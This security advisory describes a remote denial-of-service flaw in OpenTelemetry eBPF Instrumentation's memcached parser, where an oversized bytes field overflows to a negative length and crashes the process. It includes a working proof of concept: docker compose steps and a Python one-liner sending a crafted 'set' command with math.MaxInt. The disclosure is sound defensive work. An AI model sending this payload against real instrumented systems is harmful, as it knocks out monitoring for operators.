OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI

Summary

A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large ` values and adds the payload delimiter length without checking for overflow. A crafted request with set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek`.

Details

The issue is in the memcached request parser at pkg/ebpf/common/memcached_detect_transform.go.

memcachedCommandBytesField parses the storage command ` field with strconv.Atoi` and only rejects negative values:

size, err := strconv.Atoi(string(fields[4]))
if err != nil || size < 0 {
	return 0, false
}

Because there is no upper bound check, values up to math.MaxInt are accepted.

memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:

payloadLen := bytesField + len(memcachedDelimBytes)
payload, err := r.Peek(payloadLen)

If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.

That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/large_buffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:

if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {
	return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil
}

With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.

Affected logic identified by the scan:

• pkg/ebpf/common/memcached_detect_transform.go:322
• pkg/ebpf/common/memcached_detect_transform.go:386
• pkg/internal/largebuf/large_buffer.go:501

PoC

The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.

1. From the repository root, start the checked-in memcached environment:

   docker compose \
     -f internal/test/oats/memcached/docker-compose-include-base.yml \
     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
     up --build
   

This starts:

• memcached on port 11211
• testserver, the Python app in internal/test/integration/components/pythonmemcached/main.py
• autoinstrumenter, the OBI process launched with --config=/configs/instrumenter-config-traces.yml

The relevant repo-local files are:

• internal/test/oats/memcached/docker-compose-obi-python-memcached.yml
• internal/test/oats/memcached/configs/instrumenter-config-traces.yml

1. In a second shell, confirm the environment is working:

   curl http://127.0.0.1:8080/memcached
   

1. From the same repository root, send a crafted memcached storage command from inside the instrumented testserver container. On 64-bit systems, use 9223372036854775807 (math.MaxInt):

   docker compose \
     -f internal/test/oats/memcached/docker-compose-include-base.yml \
     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
     exec testserver \
     python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'
   

On 32-bit systems, replace 9223372036854775807 with 2147483647.

1. OBI parses the request header, accepts the ` field as an int`, and computes:

   payloadLen = bytesField + len("\r\n")
   

1. That addition overflows negative and the negative payloadLen is passed to LargeBufferReader.Peek, which slices with an invalid bound and panics.

1. Confirm the crash by checking the autoinstrumenter container status or logs:

   docker compose \
     -f internal/test/oats/memcached/docker-compose-include-base.yml \
     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
     ps autoinstrumenter
   

   docker compose \
     -f internal/test/oats/memcached/docker-compose-include-base.yml \
     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
     logs autoinstrumenter
   

The expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.

Impact

This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.

Impacted deployments are those where:

• OBI is running with the vulnerable memcached parser, and
• OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.

A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.